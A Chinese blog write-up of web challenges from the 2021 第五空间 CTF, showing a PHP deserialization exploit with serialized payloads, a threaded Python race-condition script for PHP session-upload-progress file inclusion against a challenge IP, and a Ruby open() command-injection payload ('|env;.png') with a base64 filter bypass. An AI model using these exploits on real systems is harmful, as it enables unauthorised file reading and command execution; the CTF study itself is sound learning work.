• [第五空间 2021]web 复现wp

    目录

     [第五空间 2021]pklovecloud

    官方解：

    总结：

    [第五空间 2021]EasyCleanup

    考点：

    思路：

    总结：

    [第五空间 2021]yet_another_mysql_injection

    [第五空间 2021]PNG图片转换器

    解题：

    总结：

     [第五空间 2021]pklovecloud

    1.    
    2. include 'flag.php';
    3. class pkshow 
    4. {  
    5.     function echo_name()     
    6.     {          
    7.         return "Pk very safe^.^";      
    8.     }  
    9. } 
    10.  
    11. class acp 
    12. {   
    13.     protected $cinder;  
    14.     public $neutron;
    15.     public $nova;
    16.     function __construct() 
    17.     {      
    18.         $this->cinder = new pkshow;
    19.     }  
    20.     function __toString()      
    21.     {          
    22.         if (isset($this->cinder))  
    23.             return $this->cinder->echo_name();      
    24.     }  
    25. }  
    26.  
    27. class ace
    28. {    
    29.     public $filename;     
    30.     public $openstack;
    31.     public $docker; 
    32.     function echo_name()      
    33.     {   
    34.         $this->openstack = unserialize($this->docker);
    35.         $this->openstack->neutron = $heat;
    36.         if($this->openstack->neutron === $this->openstack->nova)
    37.         {
    38.         $file = "./{$this->filename}";
    39.             if (file_get_contents($file))         
    40.             {              
    41.                 return file_get_contents($file); 
    42.             }  
    43.             else 
    44.             { 
    45.                 return "keystone lost~"; 
    46.             }    
    47.         }
    48.     }  
    49. }  
    50.  
    51. if (isset($_GET['pks']))  
    52. {
    53.     $logData = unserialize($_GET['pks']);
    54.     echo $logData; 
    55. } 
    56. else 
    57. { 
    58.     highlight_file(__file__); 
    59. }
    60. ?>

    exp 很好构造  就是要绕过两个点：

      $this->openstack = unserialize($this->docker);
            $this->openstack->neutron = $heat;
            if($this->openstack->neutron === $this->openstack->nova)

    关键代码在这里， 如果 这里的docker为空的时候， this -> OpenStack 自然为空对象，则$this->openstack->neutron === $this->openstack->nova两侧都为null自然可绕过。.

    测试代码:

    2.  
    3. $a="";
    4. $b=unserialize($a);
    5. var_dump($b);//bool(false)
    6. var_dump($a->sss);//报异常并返回null
    7. var_dump($a->ttt->xxx===null);//bool(true)
    8. ?>

    可以看见以上代码。 $b对象的属性都为空。

    构造exp：

    2. class acp 
    3. {   
    4.     public $cinder;  
    5.     public $neutron;
    6.     public $nova;
    7. }
    8. class ace
    9. {    
    10.     public $filename;     
    11.     public $openstack;
    12.     public $docker;
    13. }
    14. $b=new acp();
    15. $c=new ace();
    16. $b->cinder=$c;
    17. $c->docker='';
    18. $c->filename='flag.php';
    19. echo urlencode(serialize($b));
    20.  
    21.  
    22.  
    23. ?>

    没跑出来，但是对照了wp 也没问题。

    官方解：

    2. class acp
    3. { 
    4.     protected $cinder; 
    5.     public $neutron;
    6.     public $nova;
    7.     function __construct()
    8.     { 
    9.         $this->cinder = new ace();
    10.     }
    11.     function __toString() 
    12.     { 
    13.         if (isset($this->cinder)) 
    14.             return $this->cinder->echo_name(); 
    15.     }
    16. }
    17. class ace
    18. { 
    19.     public $filename; 
    20.     public $openstack;
    21.     public $docker;
    22.     function __construct()
    23.     { 
    24.         $this->filename = "flag.php";
    25.         $this->docker = 'O:8:"stdClass":2:{s:7:"neutron";s:1:"a";s:4:"nova";R:2;}';
    26.     }
    27.     function echo_name() 
    28.     {
    29.         $this->openstack = unserialize($this->docker);
    30.         $this->openstack->neutron = $heat;
    31.         if($this->openstack->neutron === $this->openstack->nova) {
    32.             $file = "./{$this->filename}";
    33.             if (file_get_contents($file)) 
    34.             { 
    35.                 return file_get_contents($file);
    36.             } 
    37.             else
    38.             {
    39.                 return "keystone lost~";
    40.             } 
    41.         }
    42.     }
    43. }
    44.  
    45. $cls = new acp();
    46. echo urlencode(serialize($cls))."\n";
    47. echo $cls;

    总结：

    可惜没打出来

    [第五空间 2021]EasyCleanup

    考点：

    临时文件包含

    1.   
    2. if(!isset($_GET['mode'])){ 
    3.     highlight_file(__file__); 
    4. }else if($_GET['mode'] == "eval"){ 
    5.     $shell = isset($_GET['shell']) ? $_GET['shell'] : 'phpinfo();'; 
    6.     if(strlen($shell) > 15 | filter($shell) | checkNums($shell)) exit("hacker"); 
    7.     eval($shell); 
    8. } 
    9.  
    10.  
    11. if(isset($_GET['file'])){ 
    12.     if(strlen($_GET['file']) > 15 | filter($_GET['file'])) exit("hacker"); 
    13.     include $_GET['file']; 
    14. } 
    15.  
    16.  
    17. function filter($var){ 
    18.     $banned = ["while", "for", "\$_", "include", "env", "require", "?", ":", "^", "+", "-", "%", "*", "`"]; 
    19.  
    20.     foreach($banned as $ban){ 
    21.         if(strstr($var, $ban)) return True; 
    22.     } 
    23.  
    24.     return False; 
    25. } 
    26.  
    27. function checkNums($var){ 
    28.     $alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'; 
    29.     $cnt = 0; 
    30.     for($i = 0; $i < strlen($alphanum); $i++){ 
    31.         for($j = 0; $j < strlen($var); $j++){ 
    32.             if($var[$j] == $alphanum[$i]){ 
    33.                 $cnt += 1; 
    34.                 if($cnt > 8) return True; 
    35.             } 
    36.         } 
    37.     } 
    38.     return False; 
    39. } 
    40. ?>

    看到代码，这道题有eval  和include 可以利用，看看eval 的利用条件，长度不能大于15， 过滤了关键字，和a-z A-Z 0-9 这基本上很难rce 了，异或 ^ 被过滤了，取反字符肯定大于15. eval基本是用不了了。

    再来看看include 。 如果上传文件包含的话，不会受到字符长度的限制，也不会被过滤。

    那么利用点应该就是这里了。

    知道了利用点，先看看phpinfo(); 

    逐一来解释一下以上 配置：

    • session.save_handler：表示session以文件的形式存储。
    • session.save_path：session默认存储路径在 /tmp 下。
    • session.serialize_handler：反序列化和序列化的处理器是php
    • session.upload_progress.cleanup： 功能为 on 时，即向服务器上传文件后，php会马上清楚对应session文件中的内容。on 也就意味着 需要条件竞争。
    • session.upload_progress.enabled：表示upload_progress功能启动，即浏览器向服务器上传文件时，php会把此次文件上传的详细信息存储在session中。
    • 第六七行中的freq 和 min_freq 两项用来设置服务器端对进度信息的更新频率。合理的设置这两项可以减轻服务器的负担。
    • 第八九行中的prefix 和 name 两项用来设置进度信息在session中存储的变量名/键名。
    • 第十行表示使用cookie记录sessionid。
    • 第十一行表示是否在客户端仅仅使用 cookie 来存放会话 ID。
    • 第十二行中的值为off，表示Cookie中的sessionid可控。

    思路：

    当我们自己定义cookie 中的 phpsessid 时，php为在服务器创建文件并存储在tmp/sess_id。服务器会自动化初始session，由(prefix+session.upload_progress.name)组成。由于session.use_strict_mode 为off  所以我们可以自定义sessionid 为我们的session文件名，然后控制文件内容，进行file的文件包含，因为clean up 为 on 所以需要用到条件竞争。然后访问 file =/tmp/sess_id 进行包含。

    附上脚本。

    1. import io
    2. import requests
    3. import threading
    4.  
    5. url="http://1.14.71.254:28073/"
    6. sessid="acd"
    7. myfile=io.BytesIO(b"test.txt" * 1024)
    8. writedata={"PHP_SESSION_UPLOAD_PROGRESS" : ""}
    9. mycookie={"PHPSESSID":sessid}
    10.  
    11. def write(ss):
    12.     while True:
    13.         resp=requests.post(url=url, data=writedata, cookies=mycookie, files={"file": ("test.txt",123)})
    14.  
    15.  
    16. def read(ss):
    17.     while True:
    18.         payloadurl=url+'?file='+'/tmp/sess_'+sessid
    19.         resp=requests.get(url=payloadurl)
    20.         if 'test.txt' in resp.text:
    21.             print(resp.text)
    22.             break
    23.         else:pass
    24.  
    25.  
    26. if __name__ == '__main__':
    27.     envent=threading.Event()
    28.     with requests.session() as ss:
    29.         for i in range(0,30):
    30.             threading.Thread(target=write, args=(ss, )).start()
    31.         for i in range(0, 30):
    32.             threading.Thread(target=read, args=(ss,)).start()
    33.  
    34.     envent.set()

    总结：

    看到include 可以往临时文件包含 方面思考。还要考虑到phpinfo的具体设置。

    [第五空间 2021]yet_another_mysql_injection

    参考链接：从三道赛题再谈命令行 - 安全客，安全资讯平台 (anquanke.com)

    [第五空间 2021]PNG图片转换器

    题目有个源码下载：

    1. require 'sinatra'
    2. require 'digest'
    3. require 'base64'
    4.  
    5. get '/' do
    6.   open("./view/index.html", 'r').read()
    7. end
    8.  
    9. get '/upload' do
    10.   open("./view/upload.html", 'r').read()
    11. end
    12.  
    13. post '/upload' do
    14.   unless params[:file] && params[:file][:tempfile] && params[:file][:filename] && params[:file][:filename].split('.')[-1] == 'png'
    15.     return ""
    16.   end
    17.   begin
    18.     filename = Digest::MD5.hexdigest(Time.now.to_i.to_s + params[:file][:filename]) + '.png'
    19.     open(filename, 'wb') { |f|
    20.       f.write open(params[:file][:tempfile],'r').read()
    21.     }
    22.     "Upload success, file stored at #{filename}"
    23.   rescue
    24.     'something wrong'
    25.   end
    26.  
    27. end
    28.  
    29. get '/convert' do
    30.   open("./view/convert.html", 'r').read()
    31. end
    32.  
    33. post '/convert' do
    34.   begin
    35.     unless params['file']
    36.       return ""
    37.     end
    38.  
    39.     file = params['file']
    40.     unless file.index('..') == nil && file.index('/') == nil && file =~ /^(.+)\.png$/
    41.       return ""
    42.     end
    43.     res = open(file, 'r').read()
    44.     headers 'Content-Type' => "text/html; charset=utf-8"
    45.     "var img = document.createElement(\"img\");\nimg.src= \"data:image/png;base64," + Base64.encode64(res).gsub(/\s*/, '') + "\";\n"
    46.   rescue
    47.     'something wrong'
    48.   end
    49. end

    解题：

    简单审计下代码，对ruby不是很 熟悉，但是简单看一下还是能看懂的。

    1.     file = params['file']
    2.     unless file.index('..') == nil && file.index('/') == nil && file =~ /^(.+)\.png$/
    3.       return ""

    要求后缀必须为 png，不能包含 ..  不能包含 / ,过滤完成之后会用open(file,'r').read() 然后base64打印上传的内容.，而ruby 的open（）函数是借用系统命令来打开文件的，所以可以命令执行。

    对于file 参数不能存在  ..  /  可以考虑在命令 注入的时候用base64编码后执行。

    例如：

     这里的 bHMgLwo= 就相当于 ls  /   就可以绕过 file 过滤了  /

    这里我们可以执行反弹shell ，其实也可以不用，看自己，因为这是有回显的。

     ls  /  看看根目录，解码一下base 64

    得到：

    1. app
    2. bin
    3. boot
    4. dev
    5. etc
    6. home
    7. lib
    8. lib64
    9. media
    10. mnt
    11. opt
    12. proc
    13. root
    14. run
    15. sbin
    16. srv
    17. sys
    18. tmp
    19. usr
    20. var

    找了好久没有 找到flag 文件。 看了其他师傅的wp 才知道在环境变量env 里面

    payload:

    file=|env;.png

    总结：

    ruby 中的open 函数借用了 系统命令。会产生命令执行漏洞。以 | 分割。

  • 相关阅读:
    Java 11 新特性
    vue中 setState
    Vite 踩坑 —— require is not defined
    一文梳理Vue面试题
    kaggle使用深度学习的logistic回归方法实现疟疾细胞图像分类
    [附源码]JAVA毕业设计教材管理（系统+LW）
    Guava中的使用
    第二章网页前端基础与HTTP协议
    2022 年 25 大 Java 8 面试问题和答案 - 从基础到有经验
    应用在温度测量仪领域中的数字温度传感芯片
  • 原文地址：https://blog.csdn.net/snowlyzz/article/details/126807755